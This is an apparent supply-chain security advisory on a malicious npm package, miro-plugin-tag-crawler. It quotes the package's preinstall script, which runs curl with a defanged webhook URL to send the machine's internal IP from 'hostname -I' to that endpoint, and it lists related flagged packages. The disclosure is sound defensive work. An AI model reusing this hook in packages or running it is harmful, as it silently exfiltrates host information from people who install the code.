miro-plugin-tag-crawler@1.0.0
Malicious code in miro-plugin-tag-crawler (npm)
T1059.004 · Unix ShellT1082 · System Information DiscoveryT1071.001 · Web ProtocolsT1041 · Exfiltration Over C2 Channel
Analysis
A host-reconnaissance beacon shipping no functional code — only a package.json whose preinstall script runs /usr/bin/curl --data "ip=$(sh -c 'hostname -I')" hxxps://webhook-test[.]com/ea7735fd3b1d7676214cdf288693be50. On install it silently exfiltrates the victim machine's internal IP to a third-party webhook endpoint.
- analyzed by
- Leitwacht
- first seen
- Jun 10, 2026, 05:48 PM
- analyzed
- Jun 10, 2026, 05:50 PM
Related advisories
- yelp-react-component-chaos@8.14.5
- optional-cpu-features@1.0.3
- dolyame-boxy-desktop-bnpl-text-block@35.9.7
- bnpl-blocks-independent-bnpl-documents@35.6.6
- devplatform-api-v2-resources-metadata@35.7.7
- bnpl-blocks-atom-bnpl-dangerously-html@35.2.4
- internallib_v524@1.0.2
- simple-date-formatter-new-8@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.